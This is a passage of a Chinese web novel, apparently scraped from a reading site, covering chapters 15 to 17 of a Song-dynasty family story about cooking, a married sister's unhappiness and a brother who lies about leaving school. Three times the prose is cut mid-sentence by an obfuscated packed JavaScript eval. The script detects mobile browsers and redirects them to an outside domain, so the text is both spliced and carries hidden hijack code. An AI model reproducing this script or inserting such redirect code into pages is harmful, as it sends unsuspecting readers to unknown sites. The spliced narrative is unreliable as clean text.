江暖几次想把里脊肉塞进嘴里，都碍于实在烫得厉害，只能鼓着个腮帮子，皱着眉头干看着。 好不容易塞进去了，里头的肉芯还滚烫着呢。烫得她绕着屋檐下好一顿跑，边跑还边“啊啊”叫着跺脚。 檐外大雨如注，哗啦啦的雨声中，孩子们的笑闹声层出不迭。江眠看着三小只一边吃着里脊肉，一边互相追逐，眼底都跟着柔软了许多。 等她转过头来，江知味已经炒好了糖色，正把余下的里脊肉条倒入锅中快速地翻炒，撒上少许白芝麻，盛到了盘子中。 “二姐姐可要尝尝。刚出锅的糖醋里脊，最是好吃了。” 浓郁的酸香扑鼻而来，江眠顿时食指大动，点了点头，去橱柜里拿了筷子来。 糖醋里脊的表面上，挂着酱色十足的浓稠芡汁，光看着就十分勾人眼球。甫一入口，舌尖上酸爽十足，却很快被后来的甜滋味覆盖，二者相辅相成，在口中缠绵。 再咬下去，里脊肉的外壳酥脆非常，内里的肉芯却相当软嫩。二者相佐，又是一重不一样的体验。 江眠三两口吃完了一块，忍不住又夹了一块到嘴里，连连称赞：“二妹妹的厨艺果真了得，与外头的酒楼食肆比，都一点儿不逊呢。” 江知味跟着笑：“如此，吃完了酸甜口的吃食，大姐姐的心情可好些了。” “好多了。”江眠温温一笑，却猛地想起什么似的，补了一句，“我没有心情不好，就是舟车劳顿，有些疲累。二妹妹多心了。” 本想借着美食让她敞开心扉，但显然这法子不大奏效。江知味轻叹了口气，道：“我已经很努力了。我就是想，大姐姐在别人家里，无论发生什么，都还能记着我们这个家，记着这个味道。” 江眠神色如旧，只慢腾腾地别过头去：“二妹妹有心了。” 她神色疏离，叫江知味也不好再多说什么。正当她打算继续做菜时，江眠忽地开了口：“二妹妹是不是觉得我在夫家受委屈了？” 江知味借机和盘托出：“的确。总觉得大姐姐在夫家过得不好，所以心中担心，想着多问两句。” 江眠转过头来，眼角微微泛红：“有二妹妹这份心，我就知足了。妹妹不晓得，这天底下成了婚的女子都一样。受公婆、夫君与孩儿的约束，自然不比在娘家的时候舒服。但这夫君是我自个儿选的，我便认了。” “那姐夫可有做什么对不起你的事？” 江眠摇头，软软道：“他何处都好，对我和琪哥儿也好。即便我们出了远门，还惦记着让我今日午后便回呢。” 江知味听得愈发糊涂：“姐姐今日便要回去了？这般劳累，身体能吃得消吗？” “你就放心吧。来来往往的，我也习惯了。”江眠把话题岔开了，“我瞧竹筐里还放着些食材，咱们午食是不是还有别的菜？” “有，就是……” “那便做吧。多吃些，也叫我好赶路不是。” 江知味被她说得没法，只好把剩余的两道菜做了。一道油焖茭白，一道红烧草鱼。自此鱼肉汤菜、咸甜俱全。 “我看看。哟，这可太丰盛了。”凌花闻着味就来了。见准备开饭了，转头把追逐打闹得不亦乐乎的三小只，都抓到了饭桌旁。另拿了一条帕巾，给他们仨把身上的汗擦了，这才坐下。 江知味端饭出来。 今日不仅菜色比平日里吃得更加丰盛，连米饭都与平常不同。 宋时有六谷，分别为稻、黍、稷、粱、麦、菰。其中的“菰”，便是他们今日的主食。 菰米在煮制之前黑而细长，与后世常吃的黑米有些相似，口感也同黑米相近。与稻米一同上锅蒸熟后，吃起来的口感十分弹牙。一碗米饭里，就带有浓淡两重米香。 而今日饭桌上的油焖茭白，则是菰米发芽后长成后的茎块。作为菰米的另一种形态，茭白吃起来鲜嫩脆甜，别有一番风味。 江知味白日里爱偷懒，做快手菜巨多，不是馒头、汤饼，就是猪肉、菜蔬一锅出，这还是穿来以后，头一回做这么些个家常菜。 把江暖和江晓馋得不行，却碍于身高原因，夹不着远处的菜，便都跪在长凳上，一口饭一口菜地吃了起来。 凌花给他们盛了莲藕排骨汤，自己也舀了一碗。浅尝一口后，表情瞬间亮了：“好喝，好喝极了。” 汤里没加旁的杂料，喝起来只有淡淡的肉香和莲藕本身自带的清甜。 里头的排骨因在文火中炖了许久，吃起来软烂脱骨，近乎入口即化。大块大块的藕段染上了肉汁的嫩粉颜色，带着沙沙的糯感，吃着又粉又甜。 这样好喝的排骨汤，饭前来上一碗，连雨天自带的烦闷感，都被悄然纾解。 凌花胃口大开，不忘嘱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16132403|180144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咐江眠：“眠儿啊，多喝点汤。我记得你以前，最喜欢喝的就是你爹炖的排骨汤了。然后再把里头的肉夹出来蘸醋吃，一吃就是大半碗，还能配下去一大碗米饭。” 她朝桌上一看：“呀，你瞧我，光顾着说话，都忘记给你倒醋了。” 起身要走，被江眠握了握手拦下：“娘，我已经没有吃肉蘸醋的习惯了。就这么吃吧，也挺好。” 凌花呆愣在原地，语调有些哽咽：“不过是出嫁三年，怎么连这么多年的口味都变了呢……” 她顿时有些食不下咽了。江知味赶忙拉了她坐下，又给她夹了一节草鱼：“娘，吃鱼。这鱼是今晨集市上买的，下锅之前还活蹦乱跳的呢。吃起来一点土腥味都没有，特别好吃，你尝尝。” 凌花这才敛下眉目，往嘴里送了一口草鱼肉。 草鱼的味道，与莲藕排骨汤相较，浓郁了不晓得多少。往大盘子里一瞅，就知道江知味往里头搁了不少鲜茱萸，因此吃起来很是辣口。 按说草鱼尾部的小刺不少，还有鱼背上最紧实的那块肉里，也藏了不少扎嘴的鱼刺。可现下她吃起鱼来，只觉得顺畅无比，丝毫不用担心鱼刺的阻碍。 吃完一节，凌花心满意足地舀了两勺红烧汁来浇在饭上，借热辣的汤汁发出一身汗来。如此，方才那一小事便随汗水飘散于风中了。 等她一脸餍足地抬起头来，却发现江眠碗里的米饭几乎没动。 琪哥儿还在她怀里抱着。 喂汤，不喝，闹闹腾腾地洒了一身。好不容易喂进去一口肉，舌头一顶，哇的一下全吐了出去，又脏了一身。 凌花只怪自己只顾着吃，没顾上他们两母子，连碗里剩下的半碗汤都没心思喝，到一旁取了帕巾来，帮琪哥儿擦了衣裳，又一脸试探地看向江眠：“要不我来吧，喂孩子这事，娘比你有经验。” 江眠却菀菀道：“我自己的孩儿，我自己喂就是。” 凌花拗不过她：“那这样，你喂你的孩子，我喂我的孩子，这总成吧。” 说着，她将江眠面前的那碗饭兑上了排骨汤，又将脱骨肉在泡饭里戳散了，喂到了江眠嘴边：“张嘴。” 琪哥儿都看呆了。江眠趁机塞进去一口米饭混茭白，再转头，将凌花递来的那勺汤饭衔去。 江知味见她啃吃，赶紧也夹了糖醋里脊递到她嘴边：“大姐姐吃糖醋里脊。虽然没有方才热的时候那么好吃了，但味道还是很不错的。” 俩双胞胎也跟着起哄，为了夹到菜，撑着短肥的小腿，一个劲地往桌面上拱。 “大姐姐吃菜。” “大姐姐要吃肉，吃肉肉长肉肉。” 江眠红了眼眶：“嗳，你们慢点儿，我都吃不过来了。我都这么大人了，有了自己的孩子，还得让娘和弟妹喂我吃饭。” 凌花也跟着笑：“这有什么。你一日是娘的孩子，一辈子便都是。眠儿，你只管记得，我说万一啊，万一你哪日在夫家过得不如意，不想过了，想回家，你就大大方方地寄一封书信来。娘一收到信就立马动身，和知姐儿、暖姐儿还有晓哥儿去把你接回来。” “就是。反正大姐姐喜欢我做的饭，多双筷子的事。如今我也有自己的营生了，大不了我和娘养你一辈子。” 江眠彻底憋不住了，扑倒在凌花怀里，嚎哭出了声。 15. 揭穿谎言 午后秋雨潺潺，像在天上剜了个窟窿，淋淋漓漓怎么都不见停。 江眠小憩了片刻，便打算带琪哥儿回去了。 凌花千般不舍，辛辛苦苦准备的葫芦和枣子都没舍得让她背去多少，生怕她路上会累着。 “眠儿啊，到家好好歇歇。要受了委屈，你就写信，娘和弟妹帮你说理去。你记得啊，你是有娘家撑腰的人。就算你爹病了，娘一个人也能打八个，不比你爹差的。” 江眠又是笑又是哭，站在船头，冲凌花他们喊道：“娘，我都记下了。你们快回去吧，莫让雨水再把身上淋湿了。” 直到客船行远，凌花才收回眺望的视线：“嗳，走吧。晚点风哥儿也要回来了。等他到了家，发现一个人都没有，要纳闷了。” 凌花说得没错。 江风到家时，门前落了大锁，显然家中无人。 他没带锁匙，也不晓得今日江眠回娘家的事，对这举家消失一事满肚子狐疑，便去周婶那儿敲了敲窗：“阿婶，是我，江风。” 周婶开的是一间杂货铺子。街坊邻居家用的刷牙子、牙粉，还有竹筐簸箕、笤帚帕巾等物，基本都从她家来。 今日下雨，没什么客人，她便关着门，把那扇平日里大多时候都支起的小窗阖下来，搬了张藤椅翘着脚在铺子里打盹。 听见敲窗声，周婶一个激灵，打着哈欠开门出来：“风哥儿回来了啊，怎么了这是？” “阿婶，您看见我娘了吗，还有我二姐姐，暖姐儿晓哥儿他们。我一回来，发现家里一个人都没有，不晓得发生什么事了。” “甭担心啊，你娘他们去码头送你家大姐儿了。”周婶侧身看他，“估摸着等会儿就回来了。先进来吧，阿婶带你去烤烤火，你瞧你，身上的衣裳都湿了。” 江风点点头，收下伞，从侧门进去了。 周婶是他们的老邻居了，打小看着他长大，和他母亲凌花的关系也最亲。江风儿时，就常和周婶家的大丫一起在这巷陌里玩捉迷藏、和尚剃头的游戏。 一晃多年过去，总觉得才一眨眼，双方就都长大了。 大丫十六岁便嫁做人妇，他也进了学塾读书，之后两人就再没见过了。 说起江眠回娘家一事，江风顿时想起了同样出嫁的大丫，在周婶家院子里左右探看：“阿婶，大丫今日也回来了吗？” “回了啊，在里屋呢。” 江风顿时顾不上身上的衣裳是干还是湿了，拦住正把他往灶房领的周婶，道：“阿婶不忙，我身上这湿衣裳不妨事的。我去看看大丫。” 说着就往里屋跑。 周婶“诶”了好几声都没拦住他，急得拍了下大腿：“风哥儿，大丫正给孩子喂奶呢。” 耳边呼啸着风雨声，还有心跳胡乱的打鼓声，江风没听见，欢脱地小跑进了屋。 眼前的大丫半敞着衣裳，双手环在胸前，一脸慈爱地看向怀中。而她的怀里，软绵绵地躺着个正卖力吮吸的婴孩。 那肉嘟嘟的脸颊，就埋在她胸前的雪白上。隐约能瞧见从婴孩唇边溢出的清浅乳汁，以及那卖力吮吸处若隐若现的暗粉。 江风脑子里哄的一下，身后的风声、雨声顿时清净了。只见着大丫一脸惊恐地侧过身去，而他则被周婶揪着衣领，嗖地一下拎到了檐下的空旷处。 “你啊你，怎么还是跟小时候一样虎啊。我都跟你说了，大丫在奶孩子，你不听，跑得比兔子都快，我追都追不上。”周婶气喘吁吁，面上是与大丫如出一辙的窘色。 江风浑身僵硬，好不容易缓过一点神来，只顾着低头躬身道歉了。更没敢在周婶家多停留，匆忙地与周婶道了别，拔腿飞跑回了自家。 江家院门前，江知味正举着锁匙开门。 身侧有水花溅起的噼啪声，她偏过头，一眼见到了伞都没打，在雨里狂奔的江风：“风哥儿回来了啊，怎的浑身脏成这样。” 江风没理，撞开了才开一半的院门。却不想被门槛绊到，脚下一个趔趄，跌在了院子中。不等人去扶，他又是一个鲤鱼打挺从地上飞跳起来，带着满身的泥水跑去了自个儿房中。 目睹了全程的一行人都看楞了。 江知味的锁匙还攥在手中：“娘，风哥儿这是怎么了？” “谁知道，怕不是又犯浑了。” 再看两小只，都是你看看我，我看看你地争相摇头。 江风躲在房里，双手抱膝，在地上坐了许久。他的脑海中无时无刻闪过的，都是方才见着的白花花的一片，实在是又恼又窘。 正当他满脸羞红，不知如何是好的时候，外头有人敲响了房门：“风哥儿，是我。开开门，娘让我拿了干净的衣裳来。” 江风犹豫了一瞬，最终还是从地上爬起来，给江知味开了门。 “二姐姐。我……” 江知味没让他继续把话说下去。 周婶已经来过，事情的前因后果她都已经知晓了。本来就不是江风故意为之，周婶没有气恼，只交待了要同风哥儿好好说说。 也并非为了误闯这事，而是周婶家男人回来，说今日碰上了风哥儿在州西瓦子边上的许木匠家帮工。可明明今日是秋社日，就算风哥儿没在学塾读书，也该和同窗们一起聚会才是。 江知味便想起了前日里宽婶说的那些习俗。江风空手回来，没带社糕和花篮，也没提起向家里要钱的事，明摆着不对劲。 这事暂且不能让凌花知道，也的确该和这个弟弟好好聊聊了。 “先换了衣裳吧，要不然浑身又是水又是泥的，着凉了可不好。” 难得江风还听她这个二姐姐的话。只见他低垂着头，接过江知味手里的衣裳，轻声道：“二姐姐我要关门了。” 江知味便顺着后退了半步。待他换完衣裳出来，江知味已经打来一盆水，坐在屋檐下翘着二郎腿了。 “风哥儿来，洗洗手吧。我见你手上都擦伤了，如今天还热着，不好好洗洗，伤口要烂的。” 江风便将双手浸入了水中。井水冰凉，疼得他不自禁地倒吸了一口。 “很疼吧？以后凡事都要小心，为了你自己，也为了别人。冒犯虽然不好，可总归是无意的。你既已经道了歉，便没必要再将那事放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137262|180144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在心上。” 江风仰起脸，耳根烧得通红：“二姐姐，你都知道了？” 江知味递了帕巾给他擦手：“这不是什么大事。周婶只同我说，大丫没事，也没怪你。” 眼见江风稍稍松下一口气，江知味又道：“不过还有一事我已知晓，只不过还没同爹娘说起。风哥儿，你自己想想，可有什么想要同我们说的么？” 江风蹙了下眉，才刚缓和下来的眼神，忽地闪躲了起来：“二姐姐，你说的是？” “嗯？” “是我没去学塾上学的事吗？” 还算诚实。江知味点了点头：“我虽自幼与弟妹分开，却知道，风哥儿品行不坏。爹爹可以为了落水的孩童，见义勇为置自己于不顾。娘从前被外婆那般娇养着，却能在爹爹和我生病后挑起重担，一力撑起了这个家。这样的爹娘，养不出品行不端的孩子。” 她顿了顿：“你可有什么苦衷？” 江风沉默了好半晌：“二姐姐，我只是不想让娘太累了。” 江知味望着他。 “当时你与爹爹病倒，娘为了给你俩治病，把家里能卖的东西都卖了。当初她和爹爹成婚时，外婆给她打的镯子、坠子，后来买的新衣裳和头饰，还有家里拉货磨豆的老驴全都被换成了药钱。” “姐姐不晓得，娘那头发是一夜之间愁白的。我想着，家里都这么难了，还有什么脸面管家里要钱。不如就不读书了，在外头找份事做，自己养活养自己，省得给家里添堵。” 江知味还是望着他，望着望着，就笑了起来：“风哥儿长大了，会心疼娘了。不过如今，你二姐姐我已经在夜市上摆摊了，光前日一晚，就赚了八百钱。有了豆腐铺子和夜市摊子的营生，你不需要再自个儿挣钱了，完全可以继续回学塾念书啊。” 江风眨了两下眼：“二姐姐，我又不擅长读书，何必强人所难呢。整个汴京城，像沈少卿那样天资过人的实属凤毛麟角。我既做不到像他那样年少有为，便做个手艺精通的木匠有何不好。” “等等。”江知味打断了他，“这沈少卿是何许人，你为何搬出他来与我说道。” “二姐姐连沈少卿都不知道？”江风立时站直了身子，眼中溢出炯炯的光华。 “如今的大理寺少卿沈寻，三岁读全书，五岁能创作，八岁入太学师从曾任户部尚书的钱博士，十二岁那年便以神童之名得中进士。这样的人，才该读书、入仕、造福万民。而如我这般中庸的草包，实在不是读书的料。” 江知味气不打一处来，抬头在他额头上敲了一下：“如此神人，世间少之又少。要人人都有你这般思想，觉得自己并非神童那便是生而有弊，还让不让人活了？” 江风吐了下舌头：“那我只是实话实说嘛，这叫认清自己的短处，扬长避短。” “什么歪理。”江知味实在不擅长与这种叛逆期的孩子说道，“罢了，你若不愿回学塾，那我也不勉强你。此时我会暂且帮你瞒着爹娘。反正你闲来无事，今晚不如随我去横桥子夜市摆摊罢。到时你就会知道，读书一事，可比在外讨生活容易多了。” 16. 治熊孩子 临到天黑时，这场丰收雨总算得了个停。 听说江风要随江知味去摆摊，凌花开始还有些担心：“风哥儿这性子，到了夜市上，可不要冲撞了客人才是。” 又碎碎念道：“那今日这车可不能由知姐儿来拉了。你是不晓得，那车子拉着有多沉，可把我们知姐儿辛苦坏了。” 江风颇一脸不屑，双手扶到了车辕上：“拉个平头车有什么难的。我力气大着，就车上这点东西，我……” 小食车纹丝不动。再一使劲，牙关咬紧了，面上扭曲了，还是同样。 江风不信这个邪，干脆整个人钻到了车辕里，就差把脖子挂上去了：“我就不信了。大姐姐都能拉动，凭什么我就不能。大姐姐，给我点时间，万事开头难嘛。” 江知味一脸玩味：“我是不急。但等你把车子拉动了，摊位都给人抢去了。” 她站在车后，默默俯身推了一把。小食车总算挪动了，江风一阵雀跃：“娘，二姐姐，你们看，我就说我可以的。” 在凌花身侧站着的江暖幽幽来了句：“风哥儿羞羞。是二姐姐帮了你，才不是靠的你自己。” 江风霎时满脸通红，但少年人的倔强依旧在头顶上高悬。他恨恨地来了句：“那二姐姐松手便是，我自己可以的。” 江知味毫不犹豫，撤了手下的劲力，让车子凭惯性继续滚出一段路。却没叫江风得意多久，车轮戛然而止，停在了横桥子东巷的巷口。 今日刚下过雨，地上坑坑洼洼。 方才拉车时候飞起的泥水，溅在江风的后背上有如鬼画符。身前行人来去匆匆，有不少向他投去异样的目光，叫他进不是，退也不是。 更有两小只边欢呼边为他加油呐喊，显然不晓得少年人的脸皮已经快被车辕撤到皲裂。 江风受不了了，用比蚊子还轻的声音说了句：“二姐姐，你来帮帮我吧。” 江知味计谋得逞，侧身一笑，俏皮地同两小只眨了眨眼睛。 夜市上灯火如昼。悠扬的丝竹弦乐声，从不远处的保康门瓦子处飘来。漫天飞舞的油烟，熏得这八月的炎热天里一丝蚊虫都无。 才至桥头，江风已是气喘吁吁，浑身大汗。好不容易越过横桥子到了目的地，看着四周乌泱泱聚来的食客，仿佛无数行走的饕餮，一个个张开血盆大口，看得他浑身发怵。 江风顿有怯场之意。 瞄了一眼江知味，却见她神色如常，驾轻就熟地招呼起了几个摊子上的熟客。谈笑之间，就指挥那些为口吃食抢破头的老饕们，在摊子前排起了队伍。 佩服之意油然而生。江风没有显露，只在摊子前给江知味腾了个位置：“二姐姐，你来吧。我帮你收钱就好。” 江知味斜睨他一眼，用只有他俩能听见的音量问道：“你行吗？” “怎么不行。”江风那股不服输的劲儿又上来了，“不过是数钱而已，算学课上的雉兔同笼是我最擅长的，这可比拉车省心多了。” “可不单单是数钱。”江知味笑得意味不明，“你这叫初生牛犊不怕虎，过会儿你就知道了。” 她起锅下油，又如往常一般神色淡然地左右开弓。 下豆腐、刷酱料、捞豆腐、淋浇汁，不仅没让锅里的豆腐焦糊，还兼顾了没个客人对于辣度和葱花、芫荽的喜好，每一环节都可谓滴水不漏。 反倒江风那头从开始便手忙脚乱。 他原本一脸严肃，想要细细数钱，给江知味好好露一手。没想到来的第一个食客，就在等吃的过程中缠着他闲聊了起来。 他一边顾着和食客甲聊她的七大姑八大姨，一边伸手接了食客乙的钱来。又因为食客乙偷奸耍滑，少给了一个铜板忙追上前讨要。 却被食客丙反手拦下，因为他急着吃急着走，还得去瓦子里赶快开场的评书呢。 江风被这些个甲乙丙丁戊己庚辛食客闹得晕头转向，好几回连铜板都忘了收。还是江知味满脸堆笑地管客人把铜板要来，才没白白贴出去好几份浇汁豆腐。 再到夜深，就更不行了。 衣裳干了湿湿了干，抖抖袖口，能甩下一胳膊的盐粒子。说了太多话，声音嘶哑到不行，口中干燥到像点了一把火。好不容易歇了口劲儿，到宽婶那儿买了一碗饮子，放到快收摊了都没空喝。 这一整夜下来，江风只觉得被磋磨得肝肠寸断，老早没了出门时候的那股子精气神。 再看江知味，竟依旧神采奕奕，如起初那般轻车熟路地做豆腐、卖豆腐个不停。 这，这还是正常人吗？ 江知味见他频频打量，就知道他累了。觉得今晚这历练，也练得差不多了，便道：“风哥儿，你去一旁歇歇吧，我来就是。” 江风这回真是倔不动了，如霜打的茄子一般，一言不发地蹲到了一旁。 方才买的浆水已经被炉灶烘得温热。他捧着浆水牛饮而下，只觉得身上刺啦一声响。就好像那浆水没走过他的腹中，便直接经汗水化作了一抹烟气，瞬时蒸了个空。 太累了。如今他脑中只有一个想法：再也不想出来摆摊了。 手边被人撞了一下。江风颓然地抬头，眼前的江知味言笑晏晏，手里端着两碗油锃锃正冒热气的豆腐。 “饿了吧。卖了一晚上的铁板豆腐和浇汁豆腐，你自己还没尝过呢。” 江风伸着脖子一瞧，客人竟都陆陆续续散了：“这是卖完了？” 江知味点头：“最后一份了，特地留给你吃的。” 江风顿觉眼热，看着江知味额前被汗水浸泡到打绺的碎发，又伸手摸了下她的后背，果然与他一样，都湿透了。 他毅然接过她手里的豆腐，用沙哑的嗓音说道：“二姐姐做的豆腐肯定好吃。上回吃了那白菘汤饼，我就想着，这辈子要是能天天吃二姐姐做的吃食就好了。” 说着，他夹起一块浇汁豆腐：“午后二姐姐煮浇汁的时候我就想尝尝了，这汤汁黏黏糊糊，里头还放了香蕈，光闻着就特香。” 江风口中干乏，面对这种咸辣口的吃食，其实胃口不佳。说这一番话，不过是体谅江知味的辛苦，不忍心让她失望罢了。 在江知味温柔的笑意中，他持箸在碗边刮掉了多余的汤汁，将一块四四方方的炸豆腐送进了嘴里。 这味道……嗯？嗯？！ 炸豆腐上只挂着薄薄一层汤汁，却咸鲜无比，带着股不由分说的辣劲儿，在唇齿间横冲直撞。原本干涸的味蕾，在浓香霸道的搅弄下，顿时重现生机，叫他的口中津水四溢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16142280|180144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 江风难以置信地看向江知味，在她肯定的眼神中再一次低头，顿觉手上的筷子难以自控地伸向了碗中。 这一回，他将豆腐深深地压向了碗底。一直等豆腐块充分吸饱汤汁后，又挑了些同样裹满了汤汁的芫荽，一并塞到了嘴里。 又是一重不一样的体验。 伴随着芫荽断裂的脆响，其本身独有的绝妙香味伴着浓浓豆香，在口中激荡回旋。 同样画龙点睛的还有汤汁里的香蕈条。取的是刚采摘不久的鲜香蕈，还没有经过日光的炙烤，通体肉肥汁鲜，吃起来格外鲜美。 江风吃得头也不抬，忍不住竖起拇指：“简直是人间美味，二姐姐手艺绝佳，比那日的白菘汤饼还要好吃！” 这话实打实的出于真心。这一整晚下来，江风对江知味此人，简直佩服得五体投地。 他家二姐姐，不仅模样生得俏丽，还口齿伶俐，只言片语就能把那些老饕安抚得服服帖帖。 面对意图吃白食、闹事的食客，亦是不卑不亢，两手往腰上一叉，就把将要递去的豆腐夺了回去，丝毫不给他人占得小便宜的时机。 还精力旺盛。到这夜半三更，是人是狗都禁不住要打瞌睡的时候，她竟然还是精神抖擞，打水、扫地、擦车，半点看不出疲累。 更有菩萨心肠。能够以身入局，帮隔壁宽婶的饮子摊打开了销路。 如此种种，江风都快细数不过来了。与她相较，更叫他自愧不如。 此前他以为，只有沈少卿那样出身优渥，又才智过人的才能被称作天之骄子、人中龙凤。没想到真正该令他举目钦佩的人，就生活在他的咫尺之侧。 而他呢，明知这些坊间杂事是他力所不能及，却像头倔驴似的咬死不松口。午后还因碍着面子不肯回学塾读书与二姐姐顶嘴。 江风越想，越觉得自己的所作所为实属不该。 二姐姐说得没错，读书的确比在外讨生活容易多了。毕竟他所受的累，仅仅局限于秋社日的这一晚。二姐姐的辛苦，却发生在过去、将来，还有接下来的每一个风霜雨雪的夜晚。 到这时，他才真的觉得自己大错特错。 江风放下手里的空碗，轻声道：“二姐姐，对不起。我不该小瞧了你的辛苦。” 没想到他自我反省的这么快，江知味一愣，旋即笑了起来：“你该说对不起的是爹娘，不是我。咱先姑且不论不读书这事的好坏，你要是实在觉得不想读书了，那没事，咱们以后不去学塾也不考功名就是了。按你说的，当个木匠的确也没什么不好。” “只是撒谎这事不对，尤其是打着心疼的名义，对至亲之人撒谎，更是不该。你想想，爹在病前，可曾苛待了我们姐妹几个。娘呢，就算把自己的漂亮衣裳都当了，还是要留着你和暖姐儿、晓哥儿的一应所需。” 江知味顿了顿：“若她知道，她这么辛辛苦苦操持家里，你却欺骗了她躲在木匠家里，不晓得会有多伤心。” 江风低垂着头，没说话。 江知味抬手，摸了摸他的头：“风哥儿，你且好好想想吧。想通了就去给爹娘磕个头，再好好道个歉，我想他们都会理解的。” 许久之后，江风带着满脸水湿，重重地点了两下头。 17. 馋方便面 次日天才亮，江风一如往常，辞别了正在磨豆腐的凌花出了门。 难得江知味也起了个大早，却没有过问他的去向。只在江风一脚跨出院门，正巧回头的时候，在屋檐下朝他招了招手。 江风笑得眉眼弯弯，冲江知味点了两下头，只身没入了清晨的浓雾中。 雾里湿冷。待彻底瞧不见江风的背影后，江知味抱着胳膊，忍不住打了个寒噤。 昨夜她收摊回来后，这天又下了一场瓢泼大雨。一早起来，只觉得这气温比昨日冷了十度不止。 江知味扭身进了屋，翻箱倒柜地挖出来一件长褙子套在身上，顿觉后背温暖极了。真舒坦呐，要是在这种湿漉漉的天里，能吃点热热辣辣的吃食，就更好了。 想到热辣，江知味突然有点馋后世的方便面了。 方便面这东西，说它特别好吃吧，也没有。一包吃不饱，两包腻到死，就是吃它过程中的常态。 但不妨碍它闻着特香。尤其是在出远门的动车上，那种浑身疲惫饥肠辘辘的时候，但凡有人在车厢里泡上一碗红烧牛肉面，保准香得人满嘴生津。 方便面此物，最大的魅力，就源自想吃却吃不着。偏偏江知味现今身在方便面还没问世的宋朝，这馋虫一旦勾出来了，那可真叫一个抓心挠肝。 她越想，越觉得浑身不得劲。干脆从屋檐下摘了个斗笠来往头上一扣，拎上菜篮子风风火火地往外头去了：“娘，我去集市上买菜，等我回来做朝食吃。” “嗳好，你慢点儿啊，别跑摔着。” 江知味一溜烟就到了横桥子集市上。白日里，集市上的摊子已经换了一批。 江知味夜市里的摊位，现下被一个卖菜蔬的老妪占去了。宽婶的那个位置，则站着一个身着褐色开敞短衣的络腮胡大汉，正一下一下地在砧板上挥动菜刀，帮食客剁肉臊子。 这两位算是横桥子集市上的老人了。江知味几乎每回出来采买，都会到他俩的摊子前光顾一番。 一个叫郭阿婆，卖的菜蔬都是一水的饱满又新鲜，价钱也相当实惠。 江知味曾在她家花两文钱买过一棵大白菘。那日她口渴难耐，就地掰了一根白菘棒子在嘴里干嚼起来，又甜水头又足，顿时满心的烦渴便消解了。 还有她邻摊的钱屠。据说他家用的猪，都是每晚从南熏门赶进来的，连夜杀了早起来卖，因此总是格外新鲜。 江知味一心想做红烧牛肉面，逛了一大圈，没见卖牛肉的摊子，索性到了钱屠的摊子前。 那钱屠此时刚闲下手来，擦了把肚皮上的汗珠，见有客人来，连忙把那条用得破破烂烂的帕巾甩到了肩头，又搓了搓手：“小娘子买肉哩，今儿个想做啥？俺给你挑挑。” 江知味扫了案板上粉白相间的猪肉一眼，摇了摇头：“我想买牛肉。” 钱屠是个小眼睛。一听这话，双眼登时翻开了。不仅带出来两颗绿豆大的眼珠子，连双眼皮的褶子都挤出来了：“轻点儿，轻点儿。小娘子咋不知道哩?这集市上可没人敢明目张胆卖牛肉嘞。” 江知味不明所以。 “官家不让宰杀耕牛，牛肉价儿压得可低，还只让庄稼人卖病嘞老嘞牛。可咱这地儿就这么大，哪有恁些病牛死牛？自然没法在外头吆喝卖。小娘子你说，偏要买这牛肉弄啥？你要猪肉、羊肉、鸡肉，我这儿都有便宜门道。” 江知味还真不知道，在宋朝吃个牛肉有这么多讲究。明明她记得书里的梁山好汉动不动就旋一斤酒吃二斤牛肉，怎得到她这里就踩上法律的红线了。 她当即打消了买牛肉的念头。反正方便面里的牛肉粒小得不拿放大镜都看不到，放与不放实际没什么大差。 再说那油炸面饼她也复刻不出。得用筷子织面条定型，还得放油里炸，一顿折腾完，早到晌午了，还吃什么朝食呐。 所以她只打算还原一下汤料的味道，过过嘴瘾罢了。 “那就先来半斤猪肉吧。”江知味指了指案板上的猪前腿肉，“要这块，净瘦的。” 钱屠满脸堆笑，割了半斤肉递来：“还耍点啥？” “猪下水可有？” “有，当然有。”钱屠从桌案底下，拽出一个麻袋来，“猪下水可得劲儿难做，味儿大得很，大多人都不待见买。小娘子要是想要，这一兜都给你，给三十文就成。” 江知味接过麻袋，打开来果然呛鼻，赶紧掩面躲了开。不过这一麻袋的猪下水，拿在手里有五六斤重。三十文的价钱，和猪瘦肉的一斤八十文相比，基本等于白送了。 她果断添了三十文买下，又到隔壁郭阿婆那儿，另买了黄豆芽、胡萝卜、菠薐菜、芫荽、干香蕈、木耳、葱、姜，装得整个菜篮子都快溢出来了。 还去了趟南食店，费劲口舌总算问到了店里粉干的卖处，买了一麻袋南方的粉干背回了家。 自此，不仅今日家用的食材备齐了，今晚上新品的备货也齐全了。 江知味打算给自己做个红烧猪肉面，再给小摊上添两样新品。 